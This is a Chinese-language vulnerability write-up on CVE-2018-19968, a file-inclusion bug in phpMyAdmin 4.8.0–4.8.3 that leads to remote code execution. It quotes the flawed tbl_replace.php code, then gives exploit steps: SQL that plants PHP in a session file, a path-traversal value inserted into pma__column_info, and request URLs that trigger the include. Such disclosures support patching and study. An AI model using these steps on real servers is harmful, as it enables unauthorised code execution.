首页/phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968)

phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968)

小乐2024/12/31717 阅读

phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。

漏洞细节

在文件tbl_replace.php中:

  1. $mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);

  2. [...]

  3. // Apply Input Transformation if defined

  4. if (!empty($mime_map[$column_name])

  5. && !empty($mime_map[$column_name]['input_transformation'])

  6. ) {

  7. $filename = 'libraries/classes/Plugins/Transformations/'

  8. . $mime_map[$column_name]['input_transformation'];

  9. if (is_file($filename)) {

  10.    include_once $filename;

  11.    $classname = Transformations::getClassName($filename);

  12.    /** @var IOTransformationsPlugin $transformation_plugin */

  13.    $transformation_plugin = new $classname();

  14.    $transformation_options = Transformations::getOptions(

  15.       $mime_map[$column_name]['input_transformation_options']

  16.    );

  17.    $current_value = $transformation_plugin->applyTransformation(

  18.       $current_value, $transformation_options

  19.    );

  20.    // check if transformation was successful or not

  21.    // and accordingly set error messages & insert_fail

  22.    if (method_exists($transformation_plugin, 'isSuccess')

  23. && !$transformation_plugin->isSuccess()

  24. ) {

  25.       $insert_fail = true;

  26.       $row_skipped = true;

  27.       $insert_errors[] = sprintf(

  28.          __('Row: %1$s, Column: %2$s, Error: %3$s'),

  29.          $rownumber, $column_name,

  30.          $transformation_plugin->getError()

  31.       );

  32.    }

  33. }

  34. }

拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。

漏洞利用

创建数据库,并将PHP代码写入SESSION文件中

  1. CREATE DATABASE foo;

  2. CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );

  3. INSERT INTO foo.bar SELECT '

    ';

访问

http://test.cesafe.com/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。

将篡改后的Transformation数据插入表pma__columninfo中:将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值.

  1. INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',

  2. 'plop', 'plop', 'plop',

  3. '../../../../../../../../tmp/sess_***','plop';

访问:

http://test.cesafe.com/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

如果利用成功将会自动包含含有恶意代码的SESSION文件.

评论

登录后发表评论

暂无评论

© 2026 乐共享资源网 All Rights Reserved